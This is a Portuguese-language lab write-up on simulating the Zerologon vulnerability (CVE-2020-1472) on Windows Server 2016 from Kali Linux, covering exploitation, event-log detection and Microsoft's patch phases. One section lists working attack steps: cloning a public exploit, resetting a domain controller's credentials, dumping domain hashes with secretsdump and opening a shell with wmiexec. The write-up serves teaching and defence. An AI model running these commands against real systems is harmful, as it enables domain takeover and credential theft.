Zerologon_CVE-2020-1472

Objetivo

Esta pesquisa de vulnerabilidade teve como objetivo estabelecer um ambiente controlado para simular um Zerologon no Windows Server 2016 através do Kali Linux para fins de detecção e mitigação. O foco principal foi realizar um teste de penetração de vulnerabilidade e mostrar a possibilidade de controlar um desktop sem fazer login como o usuário do desktop, enquanto detecta e mitiga a vulnerabilidade.

Habilidades Aprendidas

• Compreensão avançada dos Visualizadores de Eventos do Windows
• Proficiência em Kali Linux e Impackets
• Capacidade de realizar um zerologon

Ferramentas Utilizadas

• Códigos do Zerologon
• Windows Server 2016
• Kali Linux

Passos para implementar o Zerologon

Kali Linux

1. sudo su para usuário root
2. git clone https://github.com/dirkjanm/CVE-2020-1472
3. cd /home/kali/impacket/examples/CVE-2020-1472 (Altere o diretório de acordo com o seu diretório)
4. /cve-2020-1472-exploit.py -n [NETBIOS] -t [IPaddress]
5. secretsdump.py -no-pass -just-dc [NETBIOS/User]$@[IP adress]
6. wmiexec.py [Domain/User@IP] - hashes [hash]

Passos para identificar o Zerologon

Windows

IMPORTANTE Desative o recurso de segurança

1. Verifique o Visualizador de Eventos
2. No Gerenciador do Servidor, selecione Logs do Windows, Segurança e procure pelo ID do Evento 4624 (Evento de Logon do Usuário) Sinais de um Zerologon

• O assunto dos logs será nomeado NULL SID
• Este logon deve receber direitos administrativos também.
• Você também pode verificar o log 4742 (NT Authority é o Atacante)

Passos para Corrigir

A Microsoft desenvolveu patches disponíveis para proteger Windows Servers (2008, 2016 e 2019); Foi assim que foi planejado. Na primeira fase, ao baixar o primeiro patch (patch de agosto), o domínio pode proteger outros dispositivos conectados de dispositivos não conformes; haveria uma opção para proteger todos os dispositivos ingressados com uma exceção explícita.

Segundo patch (patch de fevereiro do ano seguinte), a fase de imposição, quando instalado, todos os dispositivos Windows e não Windows são forçados a usar uma Chamada de Procedimento Remoto segura com Netlogon. Ou permitir explicitamente certos dispositivos confiáveis. Essencialmente, expulsando o computador não conforme do domínio.